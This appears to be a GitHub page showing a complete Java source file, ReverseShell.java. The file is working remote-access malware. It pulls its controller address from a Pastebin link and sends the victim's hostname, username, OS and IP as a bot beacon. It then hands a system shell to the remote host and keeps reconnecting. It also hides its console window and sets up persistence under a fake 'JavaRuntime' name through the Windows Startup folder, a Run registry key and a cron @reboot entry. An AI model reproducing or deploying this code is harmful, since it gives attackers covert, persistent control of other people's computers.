-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathReverseShell.java
More file actions
391 lines (347 loc) · 14.2 KB
/
Copy pathReverseShell.java
File metadata and controls
391 lines (347 loc) · 14.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.RandomAccessFile;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.net.URLDecoder;
import java.nio.channels.FileLock;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.Arrays;
public class ReverseShell {
private static final String CONFIG_URL = "https://pastebin.com/raw/NVe2BUbv";
private String addr = null;
private int port = 0;
private String os = null;
private String shell = null;
private byte[] buffer = null;
private int clen = 0;
private boolean error = false;
private RandomAccessFile lockRaf = null;
private FileLock fileLock = null;
private boolean detect() {
boolean detected = true;
this.os = System.getProperty("os.name").toUpperCase();
if (this.os.contains("LINUX") || this.os.contains("MAC")) {
this.os = "LINUX";
this.shell = "/bin/sh";
} else if (this.os.contains("WIN")) {
this.os = "WINDOWS";
this.shell = "cmd.exe";
} else {
detected = false;
System.out.print("SYS_ERROR: OS not supported\n");
}
return detected;
}
private boolean fetchConfig() {
HttpURLConnection conn = null;
try {
conn = (HttpURLConnection) new URL(CONFIG_URL).openConnection();
conn.setConnectTimeout(10000);
conn.setReadTimeout(10000);
conn.setRequestProperty("User-Agent", "Mozilla/5.0");
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(conn.getInputStream(), "UTF-8"))) {
String line;
while ((line = reader.readLine()) != null) {
line = line.trim();
if (line.isEmpty() || line.startsWith("#")) {
continue;
}
int colon = line.lastIndexOf(':');
if (colon <= 0) {
continue;
}
String host = line.substring(0, colon).trim();
int p = Integer.parseInt(line.substring(colon + 1).trim());
if (host.isEmpty() || p < 1 || p > 65535) {
continue;
}
this.addr = host;
this.port = p;
return true;
}
}
} catch (Exception ex) {
return false;
} finally {
if (conn != null) {
conn.disconnect();
}
}
return false;
}
private File getDataDir() {
if (this.os.equals("WINDOWS")) {
return new File(System.getenv("APPDATA"), "JavaRuntime");
}
return new File(System.getProperty("user.home"), ".local/share/java-runtime");
}
private String safeInfo(String value) {
if (value == null || value.isEmpty()) {
return "unknown";
}
return value.replace("|", "_").replace("\n", " ").replace("\r", " ");
}
private boolean acquireMutex() {
try {
File dir = this.getDataDir();
dir.mkdirs();
File lockFile = new File(dir, "runtime.lock");
this.lockRaf = new RandomAccessFile(lockFile, "rw");
this.fileLock = this.lockRaf.getChannel().tryLock();
if (this.fileLock == null) {
this.lockRaf.close();
this.lockRaf = null;
return false;
}
return true;
} catch (Exception ex) {
return false;
}
}
private boolean hideConsoleIfNeeded() {
String osName = System.getProperty("os.name", "").toUpperCase();
if (!osName.contains("WIN")) {
return false;
}
try {
String cmd = ProcessHandle.current().info().command().orElse("").toLowerCase();
if (!cmd.endsWith("java.exe")) {
return false;
}
String jar = this.getJarPath();
if (jar == null || !jar.toLowerCase().endsWith(".jar")) {
return false;
}
new ProcessBuilder(
System.getProperty("java.home") + "\\bin\\javaw.exe",
"-jar", jar
).start();
return true;
} catch (Exception ex) {
return false;
}
}
private void sendSysInfo(OutputStream out, Socket client) throws IOException {
String hostname;
try {
hostname = InetAddress.getLocalHost().getHostName();
} catch (Exception ex) {
hostname = "unknown";
}
String username = System.getProperty("user.name", "unknown");
String osInfo = System.getProperty("os.name", "unknown");
String javaVersion = System.getProperty("java.version", "unknown");
String ip = client.getLocalAddress().getHostAddress();
String line = "@@BOT@@|"
+ this.safeInfo(hostname) + "|"
+ this.safeInfo(username) + "|"
+ this.safeInfo(osInfo) + "|"
+ this.safeInfo(javaVersion) + "|"
+ this.safeInfo(ip);
out.write((line + "\n").getBytes("UTF-8"));
out.flush();
}
private String getJarPath() {
try {
URL location = ReverseShell.class.getProtectionDomain().getCodeSource().getLocation();
if (location == null) {
return null;
}
try {
return new File(location.toURI()).getAbsolutePath();
} catch (Exception ex) {
String path = URLDecoder.decode(location.getPath(), "UTF-8");
if (path.startsWith("/") && path.length() > 2 && path.charAt(2) == ':') {
path = path.substring(1);
}
return new File(path).getAbsolutePath();
}
} catch (Exception ex) {
return null;
}
}
private boolean isInstalled(File marker, File startupBat) {
if (!marker.exists()) {
return false;
}
if (this.os.equals("WINDOWS")) {
return startupBat != null && startupBat.exists();
}
return true;
}
private int runAndWait(ProcessBuilder pb) throws IOException, InterruptedException {
Process process = pb.start();
return process.waitFor();
}
private String getJavaBin(boolean background) {
String javaHome = System.getProperty("java.home");
if (this.os.equals("WINDOWS")) {
return javaHome + (background ? "\\bin\\javaw.exe" : "\\bin\\java.exe");
}
return javaHome + "/bin/java";
}
private void installAutoload() {
String sourceJar = this.getJarPath();
if (sourceJar == null || !sourceJar.toLowerCase().endsWith(".jar")) {
return;
}
try {
File dir;
File persistentJar;
File launchBat;
File startupBat = null;
File marker;
if (this.os.equals("WINDOWS")) {
dir = this.getDataDir();
persistentJar = new File(dir, "runtime.jar");
launchBat = new File(dir, "launch.bat");
startupBat = new File(
System.getenv("APPDATA"),
"Microsoft\\Windows\\Start Menu\\Programs\\Startup\\JavaRuntime.bat"
);
marker = new File(dir, ".installed");
} else {
dir = this.getDataDir();
persistentJar = new File(dir, "runtime.jar");
launchBat = new File(dir, "launch.sh");
marker = new File(dir, ".installed");
}
if (this.isInstalled(marker, startupBat)) {
return;
}
dir.mkdirs();
Files.copy(new File(sourceJar).toPath(), persistentJar.toPath(), StandardCopyOption.REPLACE_EXISTING);
String javaBin = this.getJavaBin(this.os.equals("WINDOWS"));
boolean ok = false;
if (this.os.equals("WINDOWS")) {
String batBody = "@echo off\r\nstart \"\" /B \""
+ javaBin + "\" -jar \"" + persistentJar.getAbsolutePath() + "\"\r\n";
Files.write(launchBat.toPath(), batBody.getBytes("UTF-8"));
File startupDir = startupBat.getParentFile();
if (startupDir != null) {
startupDir.mkdirs();
}
Files.copy(launchBat.toPath(), startupBat.toPath(), StandardCopyOption.REPLACE_EXISTING);
int regCode = this.runAndWait(new ProcessBuilder(
"reg", "add",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"/v", "JavaRuntimeService",
"/t", "REG_SZ",
"/d", startupBat.getAbsolutePath(),
"/f"
));
ok = startupBat.exists() || regCode == 0;
} else {
String shBody = "#!/bin/sh\n" + javaBin + " -jar \""
+ persistentJar.getAbsolutePath() + "\" >/dev/null 2>&1 &\n";
Files.write(launchBat.toPath(), shBody.getBytes("UTF-8"));
launchBat.setExecutable(true);
String cronLine = "@reboot " + launchBat.getAbsolutePath();
int cronCode = this.runAndWait(new ProcessBuilder("/bin/sh", "-c",
"(crontab -l 2>/dev/null | grep -Fv '" + persistentJar.getAbsolutePath()
+ "'; echo '" + cronLine + "') | crontab -"
));
ok = cronCode == 0 || launchBat.exists();
}
if (ok) {
marker.createNewFile();
}
} catch (Exception ignored) {
}
}
private void brw(InputStream input, OutputStream output, String iname, String oname) {
int bytes;
try {
do {
if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) {
do {
bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen);
this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen;
} while (bytes > 0 && this.clen > 0);
} else {
bytes = input.read(this.buffer, 0, this.buffer.length);
if (bytes > 0) {
output.write(this.buffer, 0, bytes);
output.flush();
if (this.os.equals("WINDOWS") && oname.equals("STDIN")) {
this.clen += bytes;
}
} else if (iname.equals("SOCKET")) {
this.error = true;
}
}
} while (input.available() > 0);
} catch (SocketTimeoutException ex) {
} catch (IOException ex) {
this.error = true;
}
}
public void run() {
if (!this.detect()) return;
if (!this.acquireMutex()) return;
this.installAutoload();
// reconnect loop
while (true) {
if (!this.fetchConfig()) {
try {
Thread.sleep(10000);
} catch (InterruptedException ignored) {}
continue;
}
Process process = null;
this.buffer = new byte[1024];
this.error = false;
try (Socket client = new Socket()) {
client.setSoTimeout(100);
client.connect(new InetSocketAddress(this.addr, this.port), 5000);
this.sendSysInfo(client.getOutputStream(), client);
process = new ProcessBuilder(this.shell)
.redirectInput(ProcessBuilder.Redirect.PIPE)
.redirectOutput(ProcessBuilder.Redirect.PIPE)
.redirectError(ProcessBuilder.Redirect.PIPE)
.start();
try (OutputStream socin = client.getOutputStream();
InputStream socout = client.getInputStream();
OutputStream stdin = process.getOutputStream();
InputStream stdout = process.getInputStream();
InputStream stderr = process.getErrorStream()) {
do {
if (!process.isAlive()) {
break;
}
this.brw(socout, stdin, "SOCKET", "STDIN");
if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); }
if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); }
} while (!this.error);
}
} catch (IOException ex) {
// connection failed, retry after delay
} finally {
if (process != null) { process.destroy(); }
if (this.buffer != null) { Arrays.fill(this.buffer, (byte) 0); }
}
// 10 second delay before reconnect
try {
Thread.sleep(10000);
} catch (InterruptedException ignored) {}
}
}
public static void main(String[] args) {
ReverseShell sh = new ReverseShell();
if (sh.hideConsoleIfNeeded()) {
System.exit(0);
}
sh.run();
}
}